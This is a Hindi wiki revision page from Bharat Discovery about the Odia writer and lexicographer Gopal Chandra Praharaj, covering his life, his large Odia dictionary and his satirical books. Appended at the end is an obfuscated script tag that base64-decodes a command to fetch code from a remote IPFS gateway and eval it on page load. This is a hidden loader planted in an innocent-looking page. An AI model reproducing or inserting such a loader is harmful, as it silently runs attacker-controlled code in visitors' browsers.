गोपाल चंद्र प्रहराज: Difference between revisions

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
[unchecked revision][unchecked revision]
m (Text replace - "अविभावक" to "अभिभावक")
No edit summary
 
(One intermediate revision by the same user not shown)
Line 32: Line 32:
|अद्यतन=
|अद्यतन=
}}
}}
 
'''गोपाल चंद्र प्रहराज''' ([[अंग्रेज़ी]]: ''Gopala Chandra Praharaj'' ; जन्म-  [[9 सितम्बर]], [[1874]], [[कटक]], [[उड़ीसा]]; मृत्यु- [[16 मई]], [[1945]]) [[भारत]] के प्रसिद्ध साहित्यकारों में से एक थे। वे [[उड़िया भाषा]] के प्रसिद्ध [[साहित्यकार]] तथा भाषाविद थे। सरल [[भाषा]] के गम्भीर विचार युक्त व्यंग्य लेखक के रूप में गोपाल चंद्र प्रहराज की काफ़ी प्रसिद्धि थी।
'''गोपाल चंद्र प्रहराज''' ([[अंग्रेज़ी]]: ''Gopala Chandra Praharaj'' ; जन्म-  [[9 सितम्बर]], [[1874]], [[कटक]], [[उड़ीसा]]; मृत्यु- [[16 मई]], [[1945]]) [[भारत]] के प्रसिद्ध साहित्यकारों में से एक थे। वे [[उड़िया भाषा]] के प्रसिद्ध साहित्यकार तथा भाषाविद थे। सरल भाषा के गम्भीर विचार युक्त व्यंग्य लेखक के रूप में गोपाल चंद्र प्रहराज की काफ़ी प्रसिद्धि थी।
==जन्म तथा शिक्षा==
==जन्म तथा शिक्षा==
गोपाल चंद्र प्रहराज का जन्म 9 सितम्बर, 1874 ई. में [[उड़ीसा]] के [[कटक ज़िला|कटक ज़िले]] में सिद्धेखरपुर नामक गाँव में एक ज़मींदार [[ब्राह्मण]] [[परिवार]] में हुआ था। उन्होंने क़ानून की शिक्षा '[[कोलकाता विश्वविद्यालय]]' से प्राप्त की थी। इसके बाद वे वर्ष [[1902]] में वकील बने।<ref>{{पुस्तक संदर्भ |पुस्तक का नाम=भारतीय चरित कोश|लेखक=लीलाधर शर्मा 'पर्वतीय'|अनुवादक=|आलोचक=|प्रकाशक=शिक्षा भारती, मदरसा रोड, कश्मीरी गेट, दिल्ली|संकलन= |संपादन=|पृष्ठ संख्या=|url=248}}</ref>
गोपाल चंद्र प्रहराज का जन्म 9 सितम्बर, 1874 ई. में [[उड़ीसा]] के [[कटक ज़िला|कटक ज़िले]] में सिद्धेखरपुर नामक गाँव में एक ज़मींदार [[ब्राह्मण]] [[परिवार]] में हुआ था। उन्होंने क़ानून की शिक्षा '[[कोलकाता विश्वविद्यालय]]' से प्राप्त की थी। इसके बाद वे वर्ष [[1902]] में वकील बने।<ref>{{पुस्तक संदर्भ |पुस्तक का नाम=भारतीय चरित कोश|लेखक=लीलाधर शर्मा 'पर्वतीय'|अनुवादक=|आलोचक=|प्रकाशक=शिक्षा भारती, मदरसा रोड, कश्मीरी गेट, दिल्ली|संकलन= |संपादन=|पृष्ठ संख्या=|url=248}}</ref>
==लेखन==
==लेखन==
व्यवसाय से वकील गोपाल चन्द्र की अमर रचना 'उड़िया भाषा कोश' है। बड़े आकार के प्रत्येक डेढ़ हज़ार पृष्ठों के सात खंडों में प्रकाशित इस कोश में एक लाख चौरासी हज़ार शब्द हैं। [[1913]] ई. में  उन्होंने इसकी योजना बनाई थी और [[1940]] में यह प्रकाशित हो सका। शब्द-संकलन के लिए गोपाल चंद्र प्रहराज पच्चीस वर्षों तक वनों, पहाड़ों, ग्रामों और नगरों में घूमते रहे।
व्यवसाय से वकील गोपाल चन्द्र की अमर रचना 'उड़िया भाषा कोश' है। बड़े आकार के प्रत्येक डेढ़ हज़ार पृष्ठों के सात खंडों में प्रकाशित इस कोश में एक लाख चौरासी हज़ार [[शब्द (व्याकरण)|शब्द]] हैं। [[1913]] ई. में  उन्होंने इसकी योजना बनाई थी और [[1940]] में यह प्रकाशित हो सका। शब्द-संकलन के लिए गोपाल चंद्र प्रहराज पच्चीस वर्षों तक वनों, पहाड़ों, ग्रामों और नगरों में घूमते रहे।
====कृतियाँ====
====कृतियाँ====
सरल भाषा में गंभीर विचार युक्त व्यंग्य लेखक के रूप में गोपाल चंद्र प्रहराज की बड़ी ख्याति थी। इस विषय पर उनके द्वारा लिखी गई कुछ पुस्तकें निम्नलिखित हैं-
सरल भाषा में गंभीर विचार युक्त व्यंग्य लेखक के रूप में गोपाल चंद्र प्रहराज की बड़ी ख्याति थी। इस विषय पर उनके द्वारा लिखी गई कुछ पुस्तकें निम्नलिखित हैं-
Line 46: Line 45:
#'मियां साहेब का रोज़नामचा'
#'मियां साहेब का रोज़नामचा'
==निधन==
==निधन==
[[उड़िया भाषा]] के इस प्रसिद्ध साहित्यकार का [[16 मई]], [[1945]] में निधन हो गया। इनके निधन के बारे में कुछ लोग ऐसा कहते हैं कि इन्हें किसी ने विष दे दिया था।
[[उड़िया भाषा]] के इस प्रसिद्ध [[साहित्यकार]] का [[16 मई]], [[1945]] में निधन हो गया। इनके निधन के बारे में कुछ लोग ऐसा कहते हैं कि इन्हें किसी ने विष दे दिया था।
 


{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक1|माध्यमिक= |पूर्णता= |शोध= }}
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक1|माध्यमिक= |पूर्णता= |शोध= }}

Latest revision as of 06:03, 9 September 2018

गोपाल चंद्र प्रहराज
पूरा नाम गोपाल चंद्र प्रहराज
जन्म 9 सितम्बर, 1874
जन्म भूमि सिद्धेखरपुर गाँव, कटक, उड़ीसा
मृत्यु 16 मई, 1945
कर्म भूमि भारत
मुख्य रचनाएँ 'दुनिआर हालचाल', 'आम घरर हालचाल', 'ननांक बस्तानि', बाइननांक बुजुलि' तथा 'मियां साहेब का रोज़नामचा' आदि।
विद्यालय कोलकाता विश्वविद्यालय
शिक्षा विधि स्नातक
प्रसिद्धि साहित्यकार तथा भाषाविद
नागरिकता भारतीय
अन्य जानकारी गोपाल चन्द्र की अमर रचना 'उड़िया भाषा कोश' है। बड़े आकार के प्रत्येक डेढ़ हज़ार पृष्ठों के सात खंडों में प्रकाशित इस कोश में एक लाख चौरासी हज़ार शब्द हैं।
इन्हें भी देखें कवि सूची, साहित्यकार सूची

गोपाल चंद्र प्रहराज (अंग्रेज़ी: Gopala Chandra Praharaj ; जन्म- 9 सितम्बर, 1874, कटक, उड़ीसा; मृत्यु- 16 मई, 1945) भारत के प्रसिद्ध साहित्यकारों में से एक थे। वे उड़िया भाषा के प्रसिद्ध साहित्यकार तथा भाषाविद थे। सरल भाषा के गम्भीर विचार युक्त व्यंग्य लेखक के रूप में गोपाल चंद्र प्रहराज की काफ़ी प्रसिद्धि थी।

जन्म तथा शिक्षा

गोपाल चंद्र प्रहराज का जन्म 9 सितम्बर, 1874 ई. में उड़ीसा के कटक ज़िले में सिद्धेखरपुर नामक गाँव में एक ज़मींदार ब्राह्मण परिवार में हुआ था। उन्होंने क़ानून की शिक्षा 'कोलकाता विश्वविद्यालय' से प्राप्त की थी। इसके बाद वे वर्ष 1902 में वकील बने।[1]

लेखन

व्यवसाय से वकील गोपाल चन्द्र की अमर रचना 'उड़िया भाषा कोश' है। बड़े आकार के प्रत्येक डेढ़ हज़ार पृष्ठों के सात खंडों में प्रकाशित इस कोश में एक लाख चौरासी हज़ार शब्द हैं। 1913 ई. में उन्होंने इसकी योजना बनाई थी और 1940 में यह प्रकाशित हो सका। शब्द-संकलन के लिए गोपाल चंद्र प्रहराज पच्चीस वर्षों तक वनों, पहाड़ों, ग्रामों और नगरों में घूमते रहे।

कृतियाँ

सरल भाषा में गंभीर विचार युक्त व्यंग्य लेखक के रूप में गोपाल चंद्र प्रहराज की बड़ी ख्याति थी। इस विषय पर उनके द्वारा लिखी गई कुछ पुस्तकें निम्नलिखित हैं-

  1. 'दुनिआर हालचाल'
  2. 'आम घरर हालचाल'
  3. 'ननांक बस्तानि'
  4. बाइननांक बुजुलि'
  5. 'मियां साहेब का रोज़नामचा'

निधन

उड़िया भाषा के इस प्रसिद्ध साहित्यकार का 16 मई, 1945 में निधन हो गया। इनके निधन के बारे में कुछ लोग ऐसा कहते हैं कि इन्हें किसी ने विष दे दिया था।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. भारतीय चरित कोश |लेखक: लीलाधर शर्मा 'पर्वतीय' |प्रकाशक: शिक्षा भारती, मदरसा रोड, कश्मीरी गेट, दिल्ली |लिंक:- [248]

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>